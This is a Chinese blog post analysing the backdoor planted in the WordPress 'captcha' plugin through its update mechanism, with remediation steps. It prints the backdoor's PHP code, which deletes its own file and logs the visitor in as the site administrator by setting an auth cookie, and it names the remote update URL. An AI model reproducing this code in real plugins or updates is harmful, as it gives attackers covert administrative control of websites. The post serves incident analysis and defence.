0×00 前言

近日看到网上爆出wordpress官方插件captcha出现后门,大惊,本人当初千辛万苦找验证码插件,在十几个插件中选了这款,感觉还挺好用,竟然爆后门,赶紧去博客 排查,还好由于安装比较早,并没发现后门,发文纪念一下这次差点中招……
0×01 概述

据说这个后门是偶然被发现的,是因为含后门版本的作者对使用wordpress商标的问题,接着wordpress把captcha下架,继而wordfence(为wordpress提供waf的厂商)检查发现插件后门。

这个后门是更新触发,从4.3.6版本开始(本人安装的版本)就有后门,执行插件更新就会加入后门代码。这个后门利用userID(admin)创建会话,设置认证cookie,接着删除痕迹,后门是管理员权限,但是由于执行了unlink(__FILE__),所以只能被用一次。
0×02 影响范围

有300000+活跃安装

后门首次发现在12月4日的4.3.6版本,官方在12月20日删除该后门,所以4日到20日更新该插件的用户都必然被植入了后门(幸好本人不(lan)常(de)更新)。

受影响版本:4.3.6~4.4.4
0×03 后门分析

这里利用12月4日的4.3.6版本的源码分析

https://plugins.trac.wordpress.org/changeset/1780758/captcha

Captcha.php:

首先看看cptch_wp_plugin_auto_update()函数,由函数名可以看出这是自动更新功能,其中$wptuts_plugin_remote_path = ’https://simplywordpress.net/captcha/captcha_pro_update.php‘;

请求这个文件会下载zip对该插件更新,但是本人访问已经空白无下载(20171222)。

继续往下到8394行:

if(isset($_GET['captcha']) and  $_GET['captcha'] == 'updateplugin')
{
add_action('init', 'cptch_wp_plugin_auto_update');
}

表示点击更新则调用cptch_wp_plugin_auto_update()函数。

看看8390行

new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);

那就进入cptch_wp_auto_update这个类看看。

cptch_wp_auto_update.php:

一堆赋值后进入 if($this->cptch_check_update())执行更新

那就来到cptch_check_update()函数看看

关键代码:

$url = $this->update_path; // Local Zip File Path
curl_setopt($ch, CURLOPT_URL, $url);
$page = curl_exec($ch);

接着解压更新

activate_plugins($my_plugin);

更新的zip内存在后门文件

plugin-update.php:

关键代码:

@unlink(__FILE__);
require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie  ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}

Unlink(__FILE__):删除自己

Get_userdata(1):获取管理员信息

Wp_clear_auth_cookie():移除关联认证的cookie

Wp_set_current_user():改变当前用户

Wp_set_auth_cookie():根据userID设置认证cookie

接着攻击者就以管理员进入后台。
0×04 修复方案

1.删除后门文件plugin-update.php。

2.查看captcha.php是否有后门链接,有则手动删除插件再安装最新版本。

3.更新到最新版本。

转载于:https://www.cnblogs.com/heikeboke/p/8126560.html

Captcha插件后门分析和修复相关推荐

  1. login组件的两种用法_Android-模块化、组件化、插件化、热修复-组件化-组件间的通信(本地,下沉,bus,路由)...

    延续上一篇 MonkeyLei:Android-模块化.组件化.插件化.热修复-组件化工程构建+页面路由多种方式实践 ,我们进行搞下组件之间的通信.比如登录成功后怎么通知其他页面刷新: 方式可能有很多 ...

  2. PhpStudy 后门分析

    作者:Hcamael@知道创宇404实验室 时间:2019年9月26日 原文链接:https://paper.seebug.org/1044/ 背景介绍 2019/09/20,一则杭州警方通报打击涉网 ...

  3. 墨者WordPress插件漏洞分析溯源

    总结:整个流程就算发现这是wordpress然后用专门的wpscan去扫漏洞,然后发现的了插件漏洞,然后利用整个插件漏洞来植入后门,然后获取key文件 思路:尝试绕过登录,进入页面发现不行,然后面向搜 ...

  4. 7-PHP代码审计——wordpress插件漏洞分析

    目录 1. wordpress插件漏洞 3. Ultimate Produce Catalogue插件SQL注入漏洞 3. Site Editor插件本地文件包含漏洞 1. wordpress插件漏洞 ...

  5. 逆向分析及修复稀土掘金iOS版客户端闪退bug

    感觉是要搞个<逆向分析及修复app>系列的节奏啊 故事概要 大家好,我又来了.上次给大家分享了<逆向及修复最新iOS版少数派客户端的闪退bug>,@了一些iOS界的大神,没想到 ...

  6. ReSharper智能插件,ReSharper分析代码质量

    ReSharper智能插件,ReSharper分析代码质量 ReSharper 是 Visual Studio 的智能插件.它配备了一组丰富的功能,包括智能编码辅助.即时错误突出显示和快速纠错.ReS ...

  7. VMP分析之VMP2.13插件化分析(四)

    文章目录 Zeus插件 相关介绍 初始化Key并解密 加载操作码 解密操作码 取handler 解密handler 进入handler 保存堆栈 指令流解密Key VMP分析插件 相关介绍 VM分析插 ...

  8. mysql数据表数据丢失6_MYSQL数据表损坏的原因分析和修复方法小结

    MYSQL数据表损坏的原因分析和修复方法小结 1.表损坏的原因分析 以下原因是导致mysql 表毁坏的常见原因: 1. 服务器突然断电导致数据文件损坏. 2. 强制关机,没有先关闭mysql 服务. ...

  9. Mybatis源码之插件模块分析

    总结完这个Mybatis的整体主要功能基本上就差不多完,还有一些细节的部分,后续都会记录补充. 插件这个东西一般用的比较少,就算用的多的插件也算是PageHelper分页插件: PageHelper官 ...

最新文章

  1. mongodb基础应用
  2. 以elasticsearch-hadoop 向elasticsearch 导数,丢失数据的问题排查
  3. Arduino教程:MPU6050的数据获取、分析与处理
  4. map area 鼠标跟随
  5. 使用JavaStcript对数组元素去重的方法
  6. Spring-Security 自定义Filter完成验证码校验
  7. CALayers详解
  8. div中文字居中加粗
  9. 带你进入 jBPM 工作流的世界
  10. 【专利提交】个人通过CPC客户端网上提交专利文稿的完整流程
  11. STM32F407控制舵机
  12. 消消乐 游戏算法html,Vue实现开心消消乐游戏算法
  13. Dev5.4.0由于与64位的版本不兼容的问题解决方案
  14. 测试用例设计常用方法
  15. pocket英语语法入门
  16. 如何注册一个免费的网站空间和域名
  17. CDH踩坑记录之:熵不足
  18. 【关于四足机器人那些事】足端轨迹规划-八次多项式轨迹
  19. 大学计算机专业吐槽,大学专业吐槽集锦:分分钟让你感觉“前途无亮”!
  20. OPPOReno4SE和华为畅享20 哪款好

热门文章

  1. 华为呼叫中心解决方案学习笔记一(方案概述)
  2. java使用Crawler4j开发爬虫
  3. 我也谈javascript闭包
  4. iphone网络交互json实现
  5. 转贴:Hyper-V的几款免费管理工具
  6. SQL Server2005 ROW_NUMBER() OVER 使用
  7. FMS3系列(六):使用远程共享对象(SharedObject)实现多人时时在线聊天(Flex | Flash)
  8. 微信跳一跳高分系列二:adb shell 中的常用命令
  9. layui2.4.0前的table隐藏列
  10. 飞船赛——FOJ 1021